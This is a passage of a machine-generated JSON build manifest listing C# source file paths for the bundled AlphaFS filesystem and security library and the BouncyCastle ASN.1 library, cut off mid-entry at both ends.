Class\\File.OpenTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenWrite.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenWriteTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadAllBytes.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadAllBytesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadAllLines.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadAllLinesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadAllText.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadAllTextTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadLines.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadLinesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.Replace.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.SetAccessControl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.SetAttributes.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.SetAttributesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ThrowIOExceptionIfFsoExist.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.WriteAllBytes.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.WriteAllBytesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.WriteAllLines.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.WriteAllLinesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.WriteAllText.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.WriteAllTextTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileIdBothDirectoryInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo Compression\\FileInfo.Compress.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo Compression\\FileInfo.Decompress.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo CopyToMoveTo\\FileInfo.CopyTo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo CopyToMoveTo\\FileInfo.CopyToMoveToCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo CopyToMoveTo\\FileInfo.MoveTo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo Encryption\\FileInfo.Decrypt.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo Encryption\\FileInfo.Encrypt.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.AppendText.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.Create.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.CreateText.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.Delete.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.EnumerateAlternateDataStreams.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.GetAccessControl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.GetFileIdInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.GetHash.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.IsLocked.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.Open.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.OpenRead.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.OpenText.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.OpenWrite.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.RefreshEntryInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.Replace.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.SetAccessControl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileSystemEntryInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileSystemInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FindFileSystemEntryInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\KernelTransaction.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Link Stream\\AlternateDataStreamInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Link Stream\\BackupFileStream.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Link Stream\\BackupStreamInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Link Stream\\LinkTargetInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Link Stream\\SymbolicLinkTargetInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.BackupStreams.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.Constants.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.DeviceManagement.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.DirectoryManagement.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.DiskManagement.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.EncryptedFileRaw.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.FileManagement.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.Handles.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.KernelTransactions.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.PathManagement.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.Shell32.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.Utilities.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.VolumeManagement.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\BY_HANDLE_FILE_INFORMATION.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\COPY_FILE_FLAGS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FILETIME.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FILE_BASIC_INFO.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FILE_ID_BOTH_DIR_INFO.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FILE_ID_INFO.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FILE_INFO_BY_HANDLE_CLASS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FINDEX_INFO_LEVELS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FINDEX_SEARCH_OPS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FIND_FIRST_EX_FLAGS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\GET_FILEEX_INFO_LEVELS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\MountPointReparseBuffer.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\MOVE_FILE_FLAGS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\ReparseDataBufferHeader.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\REPARSE_DATA_BUFFER.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\SP_DEVICE_INTERFACE_DATA.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\SP_DEVICE_INTERFACE_DETAIL_DATA.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\SP_DEVINFO_DATA.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\STREAM_ATTRIBUTE.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\STREAM_ID.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\STREAM_INFO_LEVELS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\SymbolicLinkReparseBuffer.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\VOLUME_INFO_FLAGS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\WIN32_FILE_ATTRIBUTE_DATA.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\WIN32_FIND_DATA.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\WIN32_FIND_STREAM_DATA.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\WIN32_STREAM_ID.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.AddTrailingDirectorySeparatorCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.CombineCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetDirectoryNameCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetDirectoryNameWithoutRootCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetExtensionCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetFileNameCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetFileNameWithoutExtensionCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetFinalPathNameByHandleCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetFullPathCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetLongPathCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetLongShort83PathCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetPathRootCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetRegularPathCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetSuffixedDirectoryNameCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetSuffixedDirectoryNameWithoutRootCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetTempPathCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.IsPathRootedCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.IsUncPathCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.LocalToUncCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.RemoveTrailingDirectorySeparatorCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.AddTrailingDirectorySeparator.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.ChangeExtension.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.Combine.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.Constants.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetDirectoryName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetDirectoryNameWithoutRoot.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetDirectoryNameWithoutRootTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetExtension.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetFileName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetFileNameWithoutExtension.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetFinalPathNameByHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetFullPath.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetFullPathTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetInvalidFileNameChars.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetInvalidPathChars.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetLongFrom83ShortPath.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetLongFrom83ShortPathTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetLongPath.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetPathRoot.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetRandomFileName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetRegularPath.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetRelativePath.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetShort83Path.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetShort83PathTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetSuffixedDirectoryName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetSuffixedDirectoryNameTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetSuffixedDirectoryNameWithoutRoot.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetSuffixedDirectoryNameWithoutRootTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetTempFileName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetTempPath.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.HasExtension.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.Helpers.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.IsLogicalDrive.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.IsLongPath.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.IsPathRooted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.IsUncPath.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.IsValidName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.LocalToUnc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.RemoveTrailingDirectorySeparator.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Shell32.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Shell32Info.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\CopyMoveProgressCallbackReason.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\CopyMoveProgressResult.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\CopyOptions.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\DeviceGuid.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\DiGetClassFlags.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\DirectoryEnumerationFilters.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\DirectoryEnumerationOptions.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\DosDeviceAttributes.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\EncryptedFileRawMode.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\ErrorMode.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\ExtendedFileAttributes.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\FileEncryptionStatus.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\FileIdInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\FinalPathFormats.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\GetFullPathOptions.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\MoveOptions.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\PathFormat.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\ReparsePointTag.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\SetupDiGetDeviceRegistryPropertyEnum.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\StreamAttribute.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\StreamId.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\SymbolicLinkTarget.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\SymbolicLinkType.cs"},{"SourceFile":"3rdParty\\AlphaFS\\NativeError.cs"},{"SourceFile":"3rdParty\\AlphaFS\\OperatingSystem.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Resources.Designer.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeCmConnectMachineHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeEncryptedFileRawHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeFindFileHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeFindVolumeHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeFindVolumeMountPointHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeGlobalMemoryBufferHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeKernelTransactionHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeLocalMemoryBufferHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeNativeMemoryBufferHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeSetupDiClassDevsExHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeTokenHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\CRC\\Crc32.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\CRC\\Crc64.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\CRC\\HashType.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\InternalPrivilegeEnabler.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.AdjustTokenPrivileges.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.Constants.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetNamedSecurityInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetSecurityDescriptorControl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetSecurityDescriptorDacl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetSecurityDescriptorGroup.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetSecurityDescriptorLength.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetSecurityDescriptorOwner.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetSecurityDescriptorSacl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetSecurityInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetTokenInformation.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.LocalFree.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.LookupPrivilegeDisplayName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.LookupPrivilegeValue.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.OpenProcessToken.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.SetNamedSecurityInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.SetSecurityInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Other\\Luid.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Other\\SECURITY_DESCRIPTOR_CONTROL.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Other\\SECURITY_INFORMATION.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Other\\SE_OBJECT_TYPE.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Other\\TOKEN.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Other\\TOKEN_ELEVATION_TYPE.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Other\\TOKEN_INFORMATION_CLASS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Other\\TOKEN_PRIVILEGES.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Privilege.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\PrivilegeEnabler.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\ProcessContext.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\SecurityAttributes.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Utils.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Win32Errors.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1Encodable.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1EncodableVector.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1Exception.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1InputStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1Null.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1Object.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1OctetString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1OctetStringParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1OutputStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1ParsingException.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1Sequence.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1SequenceParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1Set.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1SetParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1StreamParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1TaggedObject.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1TaggedObjectParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1Tags.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerApplicationSpecific.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerApplicationSpecificParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerBitString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerOctetString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerOctetStringParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerOutputStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerSequence.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerSequenceParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerSet.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerSetParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerTaggedObject.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerTaggedObjectParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\ConstructedOctetStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\cryptopro\\CryptoProObjectIdentifiers.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DefiniteLengthInputStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerApplicationSpecific.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerBitString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerBmpString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerBoolean.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerEnumerated.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerExternal.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerExternalParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerGeneralizedTime.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerGeneralString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerGraphicString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerIA5String.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerInteger.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerNull.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerNumericString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerObjectIdentifier.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerOctetString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerOctetStringParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerOutputStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerPrintableString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerSequence.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerSequenceParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerSet.cs"},{